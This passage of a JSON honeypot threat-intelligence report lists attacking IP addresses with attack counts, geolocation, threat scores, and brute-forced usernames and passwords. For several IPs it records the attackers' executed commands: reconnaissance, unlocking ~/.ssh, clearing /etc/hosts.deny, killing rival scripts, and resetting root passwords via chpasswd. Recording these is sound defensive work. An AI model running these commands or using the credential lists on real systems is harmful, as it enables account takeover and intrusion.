      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T17:55:52.127000+00:00",
        "last_seen_30d": "2026-05-04T17:57:14.308000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.87.249.100": {
      "attack_count": 2630,
      "first_seen": "2026-05-04T05:51:23.666Z",
      "last_seen": "2026-05-12T15:00:33.585Z",
      "sessions": 523,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "ftpuser",
        "anonymous",
        "user",
        "pi",
        "administrator",
        "ubnt",
        "user1",
        "Admin",
        "a",
        "bin",
        "debian",
        "free",
        "git",
        "testuser",
        "alex",
        "max",
        "odroid"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "12345",
        "password",
        "admin",
        "test123",
        "12345678",
        "pfsense",
        "odroid",
        "1",
        "123",
        "P@ssw0rd",
        "a",
        "Exabyte",
        "admin@123",
        "ftp",
        "root",
        "admin123",
        "anonymous",
        "dev"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 210006,
      "as_org": "Shereverov Marat Ahmedovich",
      "threat_score": 28.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 10.0,
        "diversity": 10,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3748,
        "days_active_30d": 12,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T05:51:23.666000+00:00",
        "last_seen_30d": "2026-05-15T05:04:19.520000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2630,
        "Suricata": 1118
      }
    },
    "188.166.216.234": {
      "attack_count": 1299,
      "first_seen": "2026-05-12T23:48:06.830Z",
      "last_seen": "2026-05-13T20:52:05.852Z",
      "sessions": 650,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.connect",
        "cowrie.session.closed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 2287,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T23:48:06.830000+00:00",
        "last_seen_30d": "2026-05-13T20:53:10.396000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1299,
        "Suricata": 988
      }
    },
    "171.25.158.70": {
      "attack_count": 1169,
      "first_seen": "2026-05-06T00:06:52.291Z",
      "last_seen": "2026-05-29T22:33:24.987Z",
      "sessions": 117,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "linux",
        "pakchoi",
        "ram",
        "ubuntu",
        "user",
        "www",
        "astra",
        "brengoziscute",
        "dbus-helper",
        "devops",
        "erpnext",
        "fecjl1yg",
        "ftpuser",
        "g9q7jreo",
        "james",
        "mamad",
        "mpi",
        "oracle"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "linux123",
        "warnight",
        "1",
        "123456",
        "123",
        "Kermit123@",
        "#EDC4rfv5tgb",
        ".GxRJez2m1MHgY2j4lgG",
        "0day.today",
        "11235813",
        "123!@#",
        "1234",
        "1234567890",
        "123456Wl",
        "123456a@",
        "1234qwer!!",
        "123QWEasd123",
        "123QWEasdZXC"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\npbvt9pxM41Cp\\npbvt9pxM41Cp\\n\"|passwd",
        "echo \"1\\nGA1ZawR9oG4o\\nGA1ZawR9oG4o\\n\"|passwd",
        "echo \"Kermit123@\\nLujFSsuQRfQM\\nLujFSsuQRfQM\\n\"|passwd",
        "echo \"linux123\\nnOrjAl6lIM0W\\nnOrjAl6lIM0W\\n\"|passwd",
        "echo \"root:CfuDlFcPKSoa\"|chpasswd|bash",
        "echo \"root:XRtCZ59Mr5td\"|chpasswd|bash",
        "echo \"root:ccVNDBcooSUR\"|chpasswd|bash",
        "echo \"root:dmDeLMS8fHLV\"|chpasswd|bash",
        "echo \"root:j2cy91IeNKjZ\"|chpasswd|bash",
        "echo \"root:qgAweqHCapAO\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Vaxjo",
      "asn": 35100,
      "as_org": "Patrik Lagerman",
      "threat_score": 57.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 1428,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T00:06:52.291000+00:00",
        "last_seen_30d": "2026-05-29T22:34:33.223000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1169,
        "Suricata": 259
      }
    },
    "196.216.84.241": {
      "attack_count": 586,
      "first_seen": "2026-05-18T22:23:34.047Z",
      "last_seen": "2026-05-20T17:51:45.906Z",
      "sessions": 293,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mauritius",
      "country_code": "MU",
      "city": null,
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 27.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.4,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 879,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:23:34.047000+00:00",
        "last_seen_30d": "2026-05-20T17:52:56.065000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 586,
        "Suricata": 293
      }
    },
    "177.125.137.18": {
      "attack_count": 564,
      "first_seen": "2026-05-02T00:02:16.359Z",
      "last_seen": "2026-05-28T04:53:14.917Z",
      "sessions": 188,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Monterrey",
      "asn": 265523,
      "as_org": "Sierra Madre Internet SA de CV",
      "threat_score": 87.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 7972,
        "days_active_30d": 27,
        "ports_targeted_30d": 1422,
        "honeypots_triggered_30d": 12,
        "first_seen_30d": "2026-05-02T00:02:16.359000+00:00",
        "last_seen_30d": "2026-05-28T05:04:25.214000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4662,
        "Honeytrap": 2712,
        "Cowrie": 564,
        "Miniprint": 9,
        "Dionaea": 8,
        "Redishoneypot": 7,
        "Adbhoney": 4,
        "Dicompot": 2,
        "ElasticPot": 1,
        "H0neytr4p": 1,
        "Honeyaml": 1,
        "Tanner": 1
      }
    },
    "162.243.147.237": {
      "attack_count": 486,
      "first_seen": "2026-05-24T07:56:57.271Z",
      "last_seen": "2026-05-31T01:06:28.944Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "nishant",
        "ubuntu",
        "deployer",
        "hdfs",
        "jason",
        "jenny",
        "nginx",
        "pg",
        "rootftp",
        "student",
        "unifi",
        "user-backup",
        "user1",
        "zhaomin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx",
        "112",
        "123456",
        "12345678a@",
        "12qw!@QW",
        "1Digital",
        "Alpha@123",
        "Aptx4869",
        "P@s$w0rd",
        "P@ssw0rd.1",
        "P@ssw0rd123",
        "Qwerty1!",
        "Support@2024",
        "Sw.123456",
        "Zxcv123123",
        "admin",
        "asd123ASD",
        "asdfghjkl"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"nishant\\nORo4CFKvRcf2\\nORo4CFKvRcf2\\n\"|passwd",
        "echo \"root:DM3QBlOV0Wrz\"|chpasswd|bash",
        "echo \"root:iu3nazuvLvGG\"|chpasswd|bash",
        "echo \"root:jGOQKj224P7F\"|chpasswd|bash",
        "echo \"root:pxbqGaOZMCzU\"|chpasswd|bash",
        "echo -e \"nishant\\nORo4CFKvRcf2\\nORo4CFKvRcf2\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Francisco",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 46.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.6,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 576,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T07:56:57.271000+00:00",
        "last_seen_30d": "2026-05-31T01:07:29.469000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 486,
        "Suricata": 90
      }
    },
    "154.83.12.193": {
      "attack_count": 437,
      "first_seen": "2026-05-05T14:48:37.293Z",
      "last_seen": "2026-05-24T19:00:33.779Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "intel",
        "jellyfin",
        "ubuntu",
        "admin",
        "dbadmin",
        "drivetest",
        "es",
        "fedora",
        "ftpuser",
        "furukawa",
        "httpd",
        "iksi",
        "jessica",
        "manager",
        "oracle",
        "sftpuser",
        "test",
        "testuser"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "3245gs5662d34",
        "123",
        "1234",
        "123pls123A!",
        "1qaz@WSX",
        "69696969",
        "Aa123456?",
        "Ft123456",
        "P4ssword",
        "Pass@2025",
        "Password0",
        "Qq112211",
        "Qwerty1234!",
        "abcd1234",
        "admin123",
        "dbadmin123",
        "drivetest",
        "fedora",
        "fjbdfdjkdsfs541544@@"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"jellyfin\\nLTqeQjOvrSOZ\\nLTqeQjOvrSOZ\\n\"|passwd",
        "echo \"oracle2024\\nIexRfA69EYyi\\nIexRfA69EYyi\\n\"|passwd",
        "echo \"root:USSl9RrUF8Ml\"|chpasswd|bash",
        "echo -e \"jellyfin\\nLTqeQjOvrSOZ\\nLTqeQjOvrSOZ\"|passwd|bash",
        "echo -e \"oracle2024\\nIexRfA69EYyi\\nIexRfA69EYyi\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 142403,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 43.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.5,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 567,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T14:48:37.293000+00:00",
        "last_seen_30d": "2026-05-24T19:01:36.390000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 437,
        "Suricata": 130
      }
    },
    "207.180.249.124": {
      "attack_count": 366,
      "first_seen": "2026-05-04T14:54:29.561Z",
      "last_seen": "2026-05-04T15:13:24.127Z",
      "sessions": 183,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 554,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T14:54:29.561000+00:00",
        "last_seen_30d": "2026-05-04T15:14:28.461000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 366,
        "Suricata": 188
      }
    },
    "211.253.31.30": {
      "attack_count": 346,
      "first_seen": "2026-05-13T13:19:14.318Z",
      "last_seen": "2026-05-20T05:01:56.858Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "test",
        "ftproot",
        "ftpuser",
        "hossein",
        "ppr",
        "proxyuser",
        "runner",
        "server",
        "shiva",
        "t128",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx2026",
        "1",
        "12",
        "123",
        "123321",
        "128tRoutes",
        "12qwaszxc",
        "147852369",
        "153624",
        "1qayxsw2",
        "Abc123abc",
        "Cisco@123",
        "Lx123456",
        "P@ssword",
        "P@ssword@2013",
        "ParolaMea02__",
        "abcabc123",
        "bl0wf1sh"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"test@123456\\nJrnJpRbaNczz\\nJrnJpRbaNczz\\n\"|passwd",
        "echo -e \"test@123456\\nJrnJpRbaNczz\\nJrnJpRbaNczz\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 28.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.6,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 461,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T13:19:14.318000+00:00",
        "last_seen_30d": "2026-05-20T05:03:02.764000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 346,
        "Suricata": 115
      }
    },
    "89.116.25.45": {
      "attack_count": 344,
      "first_seen": "2026-05-23T00:09:44.975Z",
      "last_seen": "2026-05-23T01:16:48.862Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "consulta",
        "odoo13",
        "sammy",
        "francisco",
        "lab",
        "postgres",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "111",
        "123$",
        "123456789a",
        "12qwaszX",
        "2wsxXSW@",
        "Dx@123456",
        "Lt123456..",
        "Password1",
        "lab@2025",
        "odoo13",
        "password1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nG33tzbzRqDD2\\nG33tzbzRqDD2\\n\"|passwd",
        "echo \"Password1\\nEj0fIIlIIEST\\nEj0fIIlIIEST\\n\"|passwd",
        "echo \"odoo13\\nWNCxZAP1zYWG\\nWNCxZAP1zYWG\\n\"|passwd",
        "echo \"root:6cPpaldRThV3\"|chpasswd|bash",
        "echo -e \"123456\\nG33tzbzRqDD2\\nG33tzbzRqDD2\"|passwd|bash",
        "echo -e \"Password1\\nEj0fIIlIIEST\\nEj0fIIlIIEST\"|passwd|bash",
        "echo -e \"odoo13\\nWNCxZAP1zYWG\\nWNCxZAP1zYWG\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 28.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 397,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T00:09:44.975000+00:00",
        "last_seen_30d": "2026-05-23T01:17:56.442000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 344,
        "Suricata": 53
      }
    },
    "43.163.8.126": {
      "attack_count": 309,
      "first_seen": "2026-05-19T07:37:31.933Z",
      "last_seen": "2026-05-19T08:09:31.696Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456ll",
        "1234qwer",
        "234",
        "CHINAIDC",
        "P455wOrd",
        "carter",
        "claude",
        "eversec123098",
        "farid",
        "hd123456",
        "jupyter",
        "mailman",
        "mountain",
        "password0000",
        "qwe123rty",
        "server01",
        "tahir123",
        "telecom"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:3BnRMTKlw437\"|chpasswd|bash",
        "echo \"root:S8qcqUL3nJyw\"|chpasswd|bash",
        "echo \"root:q7DCY66kzlS9\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 369,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:37:31.933000+00:00",
        "last_seen_30d": "2026-05-19T08:10:41.437000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 309,
        "Suricata": 60
      }
    },
    "135.237.122.43": {
      "attack_count": 292,
      "first_seen": "2026-05-23T07:14:27.631Z",
      "last_seen": "2026-05-24T22:58:12.620Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cloud",
        "jack",
        "kafka",
        "admin",
        "apollo",
        "curl",
        "devman",
        "dms",
        "msf",
        "postgres",
        "scraper",
        "teste",
        "vpn",
        "yoyo"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "123456",
        "12345678",
        "1qa@WS3ed",
        "1qaz@WSX!@#",
        "Aa1234567890",
        "Abc@2026",
        "Amir@123",
        "M3gaP33!",
        "P@ssw1rd",
        "P@ssword12345",
        "Password@1234",
        "Server1234",
        "Wangsu@2017",
        "Yx123456.",
        "apollo",
        "asdfg12345"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:LJRIqOLEnYX2\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 30.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 394,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T07:14:27.631000+00:00",
        "last_seen_30d": "2026-05-24T22:59:13.866000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 292,
        "Suricata": 102
      }
    },
    "103.75.183.233": {
      "attack_count": 219,
      "first_seen": "2026-05-04T16:56:48.607Z",
      "last_seen": "2026-05-04T17:43:15.724Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "admin",
        "hssuser",
        "345gs5662d34",
        "administrator",
        "amir",
        "bitnami",
        "bitrix",
        "csgoserver",
        "ftpuser",
        "ftpuser1",
        "guest",
        "oracle",
        "postgres",
        "ssluser",
        "test2",
        "testing123",
        "user",
        "user1"
      ],
      "passwords_attempted": [
        "!QAZzaq1",
        "11111111",
        "123",
        "12345",
        "123@123",
        "3245gs5662d34",
        "345gs5662d34",
        "5tgb6yhn",
        "Aa123456",
        "Aa123456@",
        "Admin1234",
        "Password1",
        "QWEasd123!",
        "Zxc12345",
        "admin!@#$",
        "admin123",
        "apache123",
        "bitnami1234",
        "csgoserver1",
        "debian"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"hssuser\\n8yrloUEeHFvZ\\n8yrloUEeHFvZ\\n\"|passwd",
        "echo -e \"hssuser\\n8yrloUEeHFvZ\\n8yrloUEeHFvZ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 151858,
      "as_org": "INTERDIGI JOINT STOCK COMPANY",
